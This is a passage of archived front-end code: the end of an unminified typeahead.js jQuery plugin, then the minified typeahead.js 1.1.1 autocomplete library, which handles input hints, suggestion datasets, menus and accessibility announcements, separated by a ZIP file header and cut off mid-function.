                (typeahead = $input.data(keys.typeahead)) && fn(typeahead, $input);
            });
        }
        function buildHintFromInput($input, www) {
            return $input.clone().addClass(www.classes.hint).removeData().css(www.css.hint).css(getBackgroundStyles($input)).prop("readonly", true).removeAttr("id name placeholder required").attr({
                spellcheck: "false",
                tabindex: -1
            });
        }
        function prepInput($input, www) {
            $input.data(keys.attrs, {
                dir: $input.attr("dir"),
                autocomplete: $input.attr("autocomplete"),
                spellcheck: $input.attr("spellcheck"),
                style: $input.attr("style")
            });
            $input.addClass(www.classes.input).attr({
                spellcheck: false
            });
            try {
                !$input.attr("dir") && $input.attr("dir", "auto");
            } catch (e) {}
            return $input;
        }
        function getBackgroundStyles($el) {
            return {
                backgroundAttachment: $el.css("background-attachment"),
                backgroundClip: $el.css("background-clip"),
                backgroundColor: $el.css("background-color"),
                backgroundImage: $el.css("background-image"),
                backgroundOrigin: $el.css("background-origin"),
                backgroundPosition: $el.css("background-position"),
                backgroundRepeat: $el.css("background-repeat"),
                backgroundSize: $el.css("background-size")
            };
        }
        function revert($input) {
            var www, $wrapper;
            www = $input.data(keys.www);
            $wrapper = $input.parent().filter(www.selectors.wrapper);
            _.each($input.data(keys.attrs), function(val, key) {
                _.isUndefined(val) ? $input.removeAttr(key) : $input.attr(key, val);
            });
            $input.removeData(keys.typeahead).removeData(keys.www).removeData(keys.attr).removeClass(www.classes.input);
            if ($wrapper.length) {
                $input.detach().insertAfter($wrapper);
                $wrapper.remove();
            }
        }
        function $elOrNull(obj) {
            var isValid, $el;
            isValid = _.isJQuery(obj) || _.isElement(obj);
            $el = isValid ? $(obj).first() : [];
            return $el.length ? $el : null;
        }
    })();
});PK!u>H"y"y+plugin/typeahead.js/typeahead.jquery.min.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

!function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(a){return b(a)}):"object"==typeof exports?module.exports=b(require("jquery")):b(a.jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return!!/(msie|trident)/i.test(navigator.userAgent)&&navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){if(!(d=c.call(null,e,a,b)))return!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){if(d=c.call(null,e,a,b))return!1}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,j<=0?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},guid:function(){function a(a){var b=(Math.random().toString(16)+"000000000").substr(2,8);return a?"-"+b.substr(0,4)+"-"+b.substr(4,4):b}return"tt-"+a()+a(!0)+a(!0)+a()},noop:function(){}}}(),c=function(){"use strict";function a(a){var g,h;return h=b.mixin({},f,a),g={css:e(),classes:h,html:c(h),selectors:d(h)},{css:g.css,html:g.html,classes:g.classes,selectors:g.selectors,mixin:function(a){b.mixin(a,g)}}}function c(a){return{wrapper:'<span class="'+a.wrapper+'"></span>',menu:'<div role="listbox" class="'+a.menu+'"></div>'}}function d(a){var c={};return b.each(a,function(a,b){c[b]="."+a}),c}function e(){var a={wrapper:{position:"relative",display:"inline-block"},hint:{position:"absolute",top:"0",left:"0",borderColor:"transparent",boxShadow:"none",opacity:"1"},input:{position:"relative",verticalAlign:"top",backgroundColor:"transparent"},inputWithNoHint:{position:"relative",verticalAlign:"top"},menu:{position:"absolute",top:"100%",left:"0",zIndex:"100",display:"none"},ltr:{left:"0",right:"auto"},rtl:{left:"auto",right:" 0"}};return b.isMsie()&&b.mixin(a.input,{backgroundImage:"url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"}),a}var f={wrapper:"twitter-typeahead",input:"tt-input",hint:"tt-hint",menu:"tt-menu",dataset:"tt-dataset",suggestion:"tt-suggestion",selectable:"tt-selectable",empty:"tt-empty",open:"tt-open",cursor:"tt-cursor",highlight:"tt-highlight"};return a}(),d=function(){"use strict";function c(b){b&&b.el||a.error("EventBus initialized without el"),this.$el=a(b.el)}var d,e;return d="typeahead:",e={render:"rendered",cursorchange:"cursorchanged",select:"selected",autocomplete:"autocompleted"},b.mixin(c.prototype,{_trigger:function(b,c){var e=a.Event(d+b);return this.$el.trigger.call(this.$el,e,c||[]),e},before:function(a){var b,c;return b=[].slice.call(arguments,1),c=this._trigger("before"+a,b),c.isDefaultPrevented()},trigger:function(a){var b;this._trigger(a,[].slice.call(arguments,1)),(b=e[a])&&this._trigger(b,[].slice.call(arguments,1))}}),c}(),e=function(){"use strict";function a(a,b,c,d){var e;if(!c)return this;for(b=b.split(i),c=d?h(c,d):c,this._callbacks=this._callbacks||{};e=b.shift();)this._callbacks[e]=this._callbacks[e]||{sync:[],async:[]},this._callbacks[e][a].push(c);return this}function b(b,c,d){return a.call(this,"async",b,c,d)}function c(b,c,d){return a.call(this,"sync",b,c,d)}function d(a){var b;if(!this._callbacks)return this;for(a=a.split(i);b=a.shift();)delete this._callbacks[b];return this}function e(a){var b,c,d,e,g;if(!this._callbacks)return this;for(a=a.split(i),d=[].slice.call(arguments,1);(b=a.shift())&&(c=this._callbacks[b]);)e=f(c.sync,this,[b].concat(d)),g=f(c.async,this,[b].concat(d)),e()&&j(g);return this}function f(a,b,c){function d(){for(var d,e=0,f=a.length;!d&&e<f;e+=1)d=a[e].apply(b,c)===!1;return!d}return d}function g(){var a;return a=window.setImmediate?function(a){setImmediate(function(){a()})}:function(a){setTimeout(function(){a()},0)}}function h(a,b){return a.bind?a.bind(b):function(){a.apply(b,[].slice.call(arguments,0))}}var i=/\s+/,j=g();return{onSync:c,onAsync:b,off:d,trigger:e}}(),f=function(a){"use strict";function c(a){return f[a.toUpperCase()]||a}function d(a,d,e,f){for(var g,h=[],i=0,j=a.length;i<j;i++){var k=b.escapeRegExChars(a[i]);f&&(k=k.replace(/\S/g,c)),h.push(k)}return g=e?"\\b("+h.join("|")+")\\b":"("+h.join("|")+")",d?new RegExp(g):new RegExp(g,"i")}var e={node:null,pattern:null,tagName:"strong",className:null,wordsOnly:!1,caseSensitive:!1,diacriticInsensitive:!1},f={A:"[AaªÀ-Åà-åĀ-ąǍǎȀ-ȃȦȧᴬᵃḀḁẚẠ-ảₐ℀℁℻⒜Ⓐⓐ㍱-㍴㎀-㎄㎈㎉㎩-㎯㏂㏊㏟㏿Aa]",B:"[BbᴮᵇḂ-ḇℬ⒝Ⓑⓑ㍴㎅-㎇㏃㏈㏔㏝Bb]",C:"[CcÇçĆ-čᶜ℀ℂ℃℅℆ℭⅭⅽ⒞Ⓒⓒ㍶㎈㎉㎝㎠㎤㏄-㏇Cc]",D:"[DdĎďDŽ-džDZ-dzᴰᵈḊ-ḓⅅⅆⅮⅾ⒟Ⓓⓓ㋏㍲㍷-㍹㎗㎭-㎯㏅㏈Dd]",E:"[EeÈ-Ëè-ëĒ-ěȄ-ȇȨȩᴱᵉḘ-ḛẸ-ẽₑ℡ℯℰⅇ⒠Ⓔⓔ㉐㋍㋎Ee]",F:"[FfᶠḞḟ℉ℱ℻⒡Ⓕⓕ㎊-㎌㎙ff-fflFf]",G:"[GgĜ-ģǦǧǴǵᴳᵍḠḡℊ⒢Ⓖⓖ㋌㋍㎇㎍-㎏㎓㎬㏆㏉㏒㏿Gg]",H:"[HhĤĥȞȟʰᴴḢ-ḫẖℋ-ℎ⒣Ⓗⓗ㋌㍱㎐-㎔㏊㏋㏗Hh]",I:"[IiÌ-Ïì-ïĨ-İIJijǏǐȈ-ȋᴵᵢḬḭỈ-ịⁱℐℑℹⅈⅠ-ⅣⅥ-ⅨⅪⅫⅰ-ⅳⅵ-ⅸⅺⅻ⒤Ⓘⓘ㍺㏌㏕fiffiIi]",J:"[JjIJ-ĵLJ-njǰʲᴶⅉ⒥ⒿⓙⱼJj]",K:"[KkĶķǨǩᴷᵏḰ-ḵK⒦Ⓚⓚ㎄㎅㎉㎏㎑㎘㎞㎢㎦㎪㎸㎾㏀㏆㏍-㏏Kk]",L:"[LlĹ-ŀLJ-ljˡᴸḶḷḺ-ḽℒℓ℡Ⅼⅼ⒧Ⓛⓛ㋏㎈㎉㏐-㏓㏕㏖㏿flfflLl]",M:"[MmᴹᵐḾ-ṃ℠™ℳⅯⅿ⒨Ⓜⓜ㍷-㍹㎃㎆㎎㎒㎖㎙-㎨㎫㎳㎷㎹㎽㎿㏁㏂㏎㏐㏔-㏖㏘㏙㏞㏟Mm]",N:"[NnÑñŃ-ʼnNJ-njǸǹᴺṄ-ṋⁿℕ№⒩Ⓝⓝ㎁㎋㎚㎱㎵㎻㏌㏑Nn]",O:"[OoºÒ-Öò-öŌ-őƠơǑǒǪǫȌ-ȏȮȯᴼᵒỌ-ỏₒ℅№ℴ⒪Ⓞⓞ㍵㏇㏒㏖Oo]",P:"[PpᴾᵖṔ-ṗℙ⒫Ⓟⓟ㉐㍱㍶㎀㎊㎩-㎬㎰㎴㎺㏋㏗-㏚Pp]",Q:"[Qqℚ⒬Ⓠⓠ㏃Qq]",R:"[RrŔ-řȐ-ȓʳᴿᵣṘ-ṛṞṟ₨ℛ-ℝ⒭Ⓡⓡ㋍㍴㎭-㎯㏚㏛Rr]",S:"[SsŚ-šſȘșˢṠ-ṣ₨℁℠⒮Ⓢⓢ㎧㎨㎮-㎳㏛㏜stSs]",T:"[TtŢ-ťȚțᵀᵗṪ-ṱẗ℡™⒯Ⓣⓣ㉐㋏㎔㏏ſtstTt]",U:"[UuÙ-Üù-üŨ-ųƯưǓǔȔ-ȗᵁᵘᵤṲ-ṷỤ-ủ℆⒰Ⓤⓤ㍳㍺Uu]",V:"[VvᵛᵥṼ-ṿⅣ-Ⅷⅳ-ⅷ⒱Ⓥⓥⱽ㋎㍵㎴-㎹㏜㏞Vv]",W:"[WwŴŵʷᵂẀ-ẉẘ⒲Ⓦⓦ㎺-㎿㏝Ww]",X:"[XxˣẊ-ẍₓ℻Ⅸ-Ⅻⅸ-ⅻ⒳Ⓧⓧ㏓Xx]",Y:"[YyÝýÿŶ-ŸȲȳʸẎẏẙỲ-ỹ⒴Ⓨⓨ㏉Yy]",Z:"[ZzŹ-žDZ-dzᶻẐ-ẕℤℨ⒵Ⓩⓩ㎐-㎔Zz]"};return function(c){function f(b){var d,e,f;return(d=h.exec(b.data))&&(f=a.createElement(c.tagName),c.className&&(f.className=c.className),e=b.splitText(d.index),e.splitText(d[0].length),f.appendChild(e.cloneNode(!0)),b.parentNode.replaceChild(f,e)),!!d}function g(a,b){for(var c,d=3,e=0;e<a.childNodes.length;e++)c=a.childNodes[e],c.nodeType===d?e+=b(c)?1:0:g(c,b)}var h;c=b.mixin({},e,c),c.node&&c.pattern&&(c.pattern=b.isArray(c.pattern)?c.pattern:[c.pattern],h=d(c.pattern,c.caseSensitive,c.wordsOnly,c.diacriticInsensitive),g(c.node,f))}}(window.document),g=function(){"use strict";function c(c,e){c=c||{},c.input||a.error("input is missing"),e.mixin(this),this.$hint=a(c.hint),this.$input=a(c.input),this.$input.attr({"aria-activedescendant":"","aria-owns":this.$input.attr("id")+"_listbox",role:"combobox","aria-readonly":"true","aria-autocomplete":"list"}),a(e.menu).attr("id",this.$input.attr("id")+"_listbox"),this.query=this.$input.val(),this.queryWhenFocused=this.hasFocus()?this.query:null,this.$overflowHelper=d(this.$input),this._checkLanguageDirection(),0===this.$hint.length&&(this.setHint=this.getHint=this.clearHint=this.clearHintIfInvalid=b.noop),this.onSync("cursorchange",this._updateDescendent)}function d(b){return a('<pre aria-hidden="true"></pre>').css({position:"absolute",visibility:"hidden",whiteSpace:"pre",fontFamily:b.css("font-family"),fontSize:b.css("font-size"),fontStyle:b.css("font-style"),fontVariant:b.css("font-variant"),fontWeight:b.css("font-weight"),wordSpacing:b.css("word-spacing"),letterSpacing:b.css("letter-spacing"),textIndent:b.css("text-indent"),textRendering:b.css("text-rendering"),textTransform:b.css("text-transform")}).insertAfter(b)}function f(a,b){return c.normalizeQuery(a)===c.normalizeQuery(b)}function g(a){return a.altKey||a.ctrlKey||a.metaKey||a.shiftKey}var h;return h={9:"tab",27:"esc",37:"left",39:"right",13:"enter",38:"up",40:"down"},c.normalizeQuery=function(a){return b.toStr(a).replace(/^\s*/g,"").replace(/\s{2,}/g," ")},b.mixin(c.prototype,e,{_onBlur:function(){this.resetInputValue(),this.trigger("blurred")},_onFocus:function(){this.queryWhenFocused=this.query,this.trigger("focused")},_onKeydown:function(a){var b=h[a.which||a.keyCode];this._managePreventDefault(b,a),b&&this._shouldTrigger(b,a)&&this.trigger(b+"Keyed",a)},_onInput:function(){this._setQuery(this.getInputValue()),this.clearHintIfInvalid(),this._checkLanguageDirection()},_managePreventDefault:function(a,b){var c;switch(a){case"up":case"down":c=!g(b);break;default:c=!1}c&&b.preventDefault()},_shouldTrigger:function(a,b){var c;switch(a){case"tab":c=!g(b);break;default:c=!0}return c},_checkLanguageDirection:function(){var a=(this.$input.css("direction")||"ltr").toLowerCase();this.dir!==a&&(this.dir=a,this.$hint.attr("dir",a),this.trigger("langDirChanged",a))},_setQuery:function(a,b){var c,d;c=f(a,this.query),d=!!c&&this.query.length!==a.length,this.query=a,b||c?!b&&d&&this.trigger("whitespaceChanged",this.query):this.trigger("queryChanged",this.query)},_updateDescendent:function(a,b){this.$input.attr("aria-activedescendant",b)},bind:function(){var a,c,d,e,f=this;return a=b.bind(this._onBlur,this),c=b.bind(this._onFocus,this),d=b.bind(this._onKeydown,this),e=b.bind(this._onInput,this),this.$input.on("blur.tt",a).on("focus.tt",c).on("keydown.tt",d),!b.isMsie()||b.isMsie()>9?this.$input.on("input.tt",e):this.$input.on("keydown.tt keypress.tt cut.tt paste.tt",function(a){h[a.which||a.keyCode]||b.defer(b.bind(f._onInput,f,a))}),this},focus:function(){this.$input.focus()},blur:function(){this.$input.blur()},getLangDir:function(){return this.dir},getQuery:function(){return this.query||""},setQuery:function(a,b){this.setInputValue(a),this._setQuery(a,b)},hasQueryChangedSinceLastFocus:function(){return this.query!==this.queryWhenFocused},getInputValue:function(){return this.$input.val()},setInputValue:function(a){this.$input.val(a),this.clearHintIfInvalid(),this._checkLanguageDirection()},resetInputValue:function(){this.setInputValue(this.query)},getHint:function(){return this.$hint.val()},setHint:function(a){this.$hint.val(a)},clearHint:function(){this.setHint("")},clearHintIfInvalid:function(){var a,b,c,d;a=this.getInputValue(),b=this.getHint(),c=a!==b&&0===b.indexOf(a),d=""!==a&&c&&!this.hasOverflow(),!d&&this.clearHint()},hasFocus:function(){return this.$input.is(":focus")},hasOverflow:function(){var a=this.$input.width()-2;return this.$overflowHelper.text(this.getInputValue()),this.$overflowHelper.width()>=a},isCursorAtEnd:function(){var a,c,d;return a=this.$input.val().length,c=this.$input[0].selectionStart,b.isNumber(c)?c===a:!document.selection||(d=document.selection.createRange(),d.moveStart("character",-a),a===d.text.length)},destroy:function(){this.$hint.off(".tt"),this.$input.off(".tt"),this.$overflowHelper.remove(),this.$hint=this.$input=this.$overflowHelper=a("<div>")}}),c}(),h=function(){"use strict";function c(c,e){c=c||{},c.templates=c.templates||{},c.templates.notFound=c.templates.notFound||c.templates.empty,c.source||a.error("missing source"),c.node||a.error("missing node"),c.name&&!h(c.name)&&a.error("invalid dataset name: "+c.name),e.mixin(this),this.highlight=!!c.highlight,this.name=b.toStr(c.name||j()),this.limit=c.limit||5,this.displayFn=d(c.display||c.displayKey),this.templates=g(c.templates,this.displayFn),this.source=c.source.__ttAdapter?c.source.__ttAdapter():c.source,this.async=b.isUndefined(c.async)?this.source.length>2:!!c.async,this._resetLastSuggestion(),this.$el=a(c.node).attr("role","presentation").addClass(this.classes.dataset).addClass(this.classes.dataset+"-"+this.name)}function d(a){function c(b){return b[a]}return a=a||b.stringify,b.isFunction(a)?a:c}function g(c,d){function e(c){return a('<div role="option">').attr("id",b.guid()).text(d(c))}return{notFound:c.notFound&&b.templatify(c.notFound),pending:c.pending&&b.templatify(c.pending),header:c.header&&b.templatify(c.header),footer:c.footer&&b.templatify(c.footer),suggestion:c.suggestion||e}}function h(a){return/^[_a-zA-Z0-9-]+$/.test(a)}var i,j;return i={dataset:"tt-selectable-dataset",val:"tt-selectable-display",obj:"tt-selectable-object"},j=b.getIdGenerator(),c.extractData=function(b){var c=a(b);return c.data(i.obj)?{dataset:c.data(i.dataset)||"",val:c.data(i.val)||"",obj:c.data(i.obj)||null}:null},b.mixin(c.prototype,e,{_overwrite:function(a,b){b=b||[],b.length?this._renderSuggestions(a,b):this.async&&this.templates.pending?this._renderPending(a):!this.async&&this.templates.notFound?this._renderNotFound(a):this._empty(),this.trigger("rendered",b,!1,this.name)},_append:function(a,b){b=b||[],b.length&&this.$lastSuggestion.length?this._appendSuggestions(a,b):b.length?this._renderSuggestions(a,b):!this.$lastSuggestion.length&&this.templates.notFound&&this._renderNotFound(a),this.trigger("rendered",b,!0,this.name)},_renderSuggestions:function(a,b){var c;c=this._getSuggestionsFragment(a,b),this.$lastSuggestion=c.children().last(),this.$el.html(c).prepend(this._getHeader(a,b)).append(this._getFooter(a,b))},_appendSuggestions:function(a,b){var c,d;c=this._getSuggestionsFragment(a,b),d=c.children().last(),this.$lastSuggestion.after(c),this.$lastSuggestion=d},_renderPending:function(a){var b=this.templates.pending;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_renderNotFound:function(a){var b=this.templates.notFound;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_empty:function(){this.$el.empty(),this._resetLastSuggestion()},_getSuggestionsFragment:function(c,d){var e,g=this;return e=document.createDocumentFragment(),b.each(d,function(b){var d,f;f=g._injectQuery(c,b),d=a(g.templates.suggestion(f)).data(i.dataset,g.name).data(i.obj,b).data(i.val,g.displayFn(b)).addClass(g.classes.suggestion+" "+g.classes.selectable),e.appendChild(d[0])}),this.highlight&&f({className:this.classes.highlight,node:e,pattern:c}),a(e)},_getFooter:function(a,b){return this.templates.footer?this.templates.footer({query:a,suggestions:b,dataset:this.name}):null},_getHeader:function(a,b){return this.templates.header?this.templates.header({query:a,suggestions:b,dataset:this.name}):null},_resetLastSuggestion:function(){this.$lastSuggestion=a()},_injectQuery:function(a,c){return b.isObject(c)?b.mixin({_query:a},c):c},update:function(b){function c(a){g||(g=!0,a=(a||[]).slice(0,e.limit),h=a.length,e._overwrite(b,a),h<e.limit&&e.async&&e.trigger("asyncRequested",b,e.name))}function d(c){if(c=c||[],!f&&h<e.limit){e.cancel=a.noop;var d=Math.abs(h-e.limit);h+=d,e._append(b,c.slice(0,d)),e.async&&e.trigger("asyncReceived",b,e.name)}}var e=this,f=!1,g=!1,h=0;this.cancel(),this.cancel=function(){f=!0,e.cancel=a.noop,e.async&&e.trigger("asyncCanceled",b,e.name)},this.source(b,c,d),!g&&c([])},cancel:a.noop,clear:function(){this._empty(),this.cancel(),this.trigger("cleared")},isEmpty:function(){return this.$el.is(":empty")},destroy:function(){this.$el=a("<div>")}}),c}(),i=function(){"use strict";function c(c,d){function e(b){var c=f.$node.find(b.node).first();return b.node=c.length?c:a("<div>").appendTo(f.$node),new h(b,d)}var f=this;c=c||{},c.node||a.error("node is required"),d.mixin(this),this.$node=a(c.node),this.query=null,this.datasets=b.map(c.datasets,e)}return b.mixin(c.prototype,e,{_onSelectableClick:function(b){this.trigger("selectableClicked",a(b.currentTarget))},_onRendered:function(a,b,c,d){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetRendered",b,c,d)},_onCleared:function(){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetCleared")},_propagate:function(){this.trigger.apply(this,arguments)},_allDatasetsEmpty:function(){return b.every(this.datasets,b.bind(function(a){var b=a.isEmpty();return this.$node.attr("aria-expanded",!b),b},this))},_getSelectables:function(){return this.$node.find(this.selectors.selectable)},_removeCursor:function(){var a=this.getActiveSelectable();a&&a.removeClass(this.classes.cursor)},_ensureVisible:function(a){var b,c,d,e;b=a.position().top,c=b+a.outerHeight(!0),d=this.$node.scrollTop(),e=this.$node.height()+parseInt(this.$node.css("paddingTop"),10)+parseInt(this.$node.css("paddingBottom"),10),b<0?this.$node.scrollTop(d+b):e<c&&this.$node.scrollTop(d+(c-e))},bind:function(){var c,d=this;return c=b.bind(this._onSelectableClick,this),this.$node.on("click.tt",this.selectors.selectable,c),this.$node.on("mouseover",this.selectors.selectable,function(){d.setCursor(a(this))}),this.$node.on("mouseleave",function(){d._removeCursor()}),b.each(this.datasets,function(a){a.onSync("asyncRequested",d._propagate,d).onSync("asyncCanceled",d._propagate,d).onSync("asyncReceived",d._propagate,d).onSync("rendered",d._onRendered,d).onSync("cleared",d._onCleared,d)}),this},isOpen:function(){return this.$node.hasClass(this.classes.open)},open:function(){this.$node.scrollTop(0),this.$node.addClass(this.classes.open)},close:function(){this.$node.attr("aria-expanded",!1),this.$node.removeClass(this.classes.open),this._removeCursor()},setLanguageDirection:function(a){this.$node.attr("dir",a)},selectableRelativeToCursor:function(a){var b,c,d,e;return c=this.getActiveSelectable(),b=this._getSelectables(),d=c?b.index(c):-1,e=d+a,e=(e+1)%(b.length+1)-1,e=e<-1?b.length-1:e,e===-1?null:b.eq(e)},setCursor:function(a){this._removeCursor(),(a=a&&a.first())&&(a.addClass(this.classes.cursor),this._ensureVisible(a))},getSelectableData:function(a){return a&&a.length?h.extractData(a):null},getActiveSelectable:function(){var a=this._getSelectables().filter(this.selectors.cursor).first();return a.length?a:null},getTopSelectable:function(){var a=this._getSelectables().first();return a.length?a:null},update:function(a){function c(b){b.update(a)}var d=a!==this.query;return d&&(this.query=a,b.each(this.datasets,c)),d},empty:function(){function a(a){a.clear()}b.each(this.datasets,a),this.query=null,this.$node.addClass(this.classes.empty)},destroy:function(){function c(a){a.destroy()}this.$node.off(".tt"),this.$node=a("<div>"),b.each(this.datasets,c)}}),c}(),j=function(){"use strict";function c(c){this.$el=a("<span></span>",{role:"status","aria-live":"polite"}).css({position:"absolute",padding:"0",border:"0",height:"1px",width:"1px","margin-bottom":"-1px","margin-right":"-1px",overflow:"hidden",clip:"rect(0 0 0 0)","white-space":"nowrap"}),c.$input.after(this.$el),b.each(c.menu.datasets,b.bind(function(a){a.onSync&&(a.onSync("rendered",b.bind(this.update,this)),a.onSync("cleared",b.bind(this.cleared,this)))},this))}return b.mixin(c.prototype,{update:function(a,b){var c,d=b.length;c=1===d?{result:"result",is:"is"}:{result:"results",is:"are"},this.$el.text(d+" "+c.result+" "+c.is+" available, use up and down arrow keys to navigate.")},cleared:function(){this.$el.text("")}}),c}(),k=function(){"use strict";function a(){i.apply(this,[].slice.call(arguments,0))}var c=i.prototype;return b.mixin(a.prototype,i.prototype,{open:function(){return!this._allDatasetsEmpty()&&this._show(),c.open.apply(this,[].slice.call(arguments,0))},close:function(){return this._hide(),c.close.apply(this,[].slice.call(arguments,0))},_onRendered:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onRendered.apply(this,[].slice.call(arguments,0))},_onCleared:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onCleared.apply(this,[].slice.call(arguments,0))},setLanguageDirection:function(a){return this.$node.css("ltr"===a?this.css.ltr:this.css.rtl),c.setLanguageDirection.apply(this,[].slice.call(arguments,0))},_hide:function(){this.$node.hide()},_show:function(){this.$node.css("display","block")}}),a}(),l=function(){"use strict";function c(c,e){var f,g,h,i,j,k,l,m,n,o,p;c=c||{},c.input||a.error("missing input"),c.menu||a.error("missing menu"),c.eventBus||a.error("missing event bus"),e.mixin(this),this.eventBus=c.eventBus,this.minLength=b.isNumber(c.minLength)?c.minLength:1,this.input=c.input,this.menu=c.menu,this.enabled=!0,this.active=!1,this.input.hasFocus()&&this.activate(),this.dir=this.input.getLangDir(),this._hacks(),this.menu.bind().onSync("selectableClicked",this._onSelectableClicked,this).onSync("asyncRequested",this._onAsyncRequested,this).onSync("asyncCanceled",this._onAsyncCanceled,this).onSync("asyncReceived",this._onAsyncReceived,this).onSync("datasetRendered",this._onDatasetRendered,this).onSync("datasetCleared",this._onDatasetCleared,this),f=d(this,"activate","open","_onFocused"),g=d(this,"deactivate","_onBlurred"),h=d(this,"isActive","isOpen","_onEnterKeyed"),i=d(this,"isActive","isOpen","_onTabKeyed"),j=d(this,"isActive","_onEscKeyed"),k=d(this,"isActive","open","_onUpKeyed"),l=d(this,"isActive","open","_onDownKeyed"),m=d(this,"isActive","isOpen","_onLeftKeyed"),n=d(this,"isActive","isOpen","_onRightKeyed"),o=d(this,"_openIfActive","_onQueryChanged"),p=d(this,"_openIfActive","_onWhitespaceChanged"),this.input.bind().onSync("focused",f,this).onSync("blurred",g,this).onSync("enterKeyed",h,this).onSync("tabKeyed",i,this).onSync("escKeyed",j,this).onSync("upKeyed",k,this).onSync("downKeyed",l,this).onSync("leftKeyed",m,this).onSync("rightKeyed",n,this).onSync("queryChanged",o,this).onSync("whitespaceChanged",p,this).onSync("langDirChanged",this._onLangDirChanged,this)}function d(a){var c=[].slice.call(arguments,1);return function(){var d=[].slice.call(arguments);b.each(c,function(b){return a[b].apply(a,d)})}}return b.mixin(c.prototype,{_hacks:function(){var c,d;c=this.input.$input||a("<div>"),d=this.menu.$node||a("<div>"),c.on("blur.tt",function(a){var e,f,g;e=document.activeElement,f=d.is(e),g=d.has(e).length>0,b.isMsie()&&(f||g)&&(a.preventDefault(),a.stopImmediatePropagation(),b.defer(function(){c.focus()}))}),d.on("mousedown.tt",function(a){a.preventDefault()})},_onSelectableClicked:function(a,b){this.select(b)},_onDatasetCleared:function(){this._updateHint()},_onDatasetRendered:function(a,b,c,d){this._updateHint(),this.eventBus.trigger("render",b,c,d)},_onAsyncRequested:function(a,b,c){this.eventBus.trigger("asyncrequest",c,b)},_onAsyncCanceled:function(a,b,c){this.eventBus.trigger("asynccancel",c,b)},_onAsyncReceived:function(a,b,c){this.eventBus.trigger("asyncreceive",c,b)},_onFocused:function(){this._minLengthMet()&&this.menu.update(this.input.getQuery())},_onBlurred:function(){this.input.hasQueryChangedSinceLastFocus()&&this.eventBus.trigger("change",this.input.getQuery())},_onEnterKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())&&this.select(c)&&(b.preventDefault(),b.stopPropagation())},_onTabKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())?this.select(c)&&b.preventDefault():(c=this.menu.getTopSelectable())&&this.autocomplete(c)&&b.preventDefault()},_onEscKeyed:function(){this.close()},_onUpKeyed:function(){this.moveCursor(-1)},_onDownKeyed:function(){this.moveCursor(1)},_onLeftKeyed:function(){"rtl"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getActiveSelectable()||this.menu.getTopSelectable())},_onRightKeyed:function(){"ltr"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getActiveSelectable()||this.menu.getTopSelectable())},_onQueryChanged:function(a,b){this._minLengthMet(b)?this.menu.update(b):this.menu.empty()},_onWhitespaceChanged:function(){this._updateHint()},_onLangDirChanged:function(a,b){this.dir!==b&&(this.dir=b,this.menu.setLanguageDirection(b))},_openIfActive:function(){this.isActive()&&this.open()},_minLengthMet:function(a){return a=b.isString(a)?a:this.input.getQuery()||"",a.length>=this.minLength},_updateHint:function(){var a,c,d,e,f,h,i;a=this.menu.getTopSelectable(),c=this.menu.getSelectableData(a),d=this.input.getInputValue(),!c||b.isBlankString(d)||this.input.hasOverflow()?this.input.clearHint():(e=g.normalizeQuery(d),f=b.escapeRegExChars(e),h=new RegExp("^(?:"+f+")(.+$)","i"),i=h.exec(c.val),i&&this.input.setHint(d+i[1]))},isEnabled:function(){return this.enabled},enable:function(){this.enabled=!0},disable:function(){this.enabled=!1},isActive:function(){return this.active},activate:function(){return!!this.isActive()||!(!this.isEnabled()||this.eventBus.before("active"))&&(this.active=!0,this.eventBus.trigger("active"),!0)},deactivate:function(){return!this.isActive()||!this.eventBus.before("idle")&&(this.active=!1,this.close(),this.eventBus.trigger("idle"),!0)},isOpen:function(){return this.menu.isOpen()},open:function(){return this.isOpen()||this.eventBus.before("open")||(this.menu.open(),this._updateHint(),this.eventBus.trigger("open")),this.isOpen()},close:function(){return 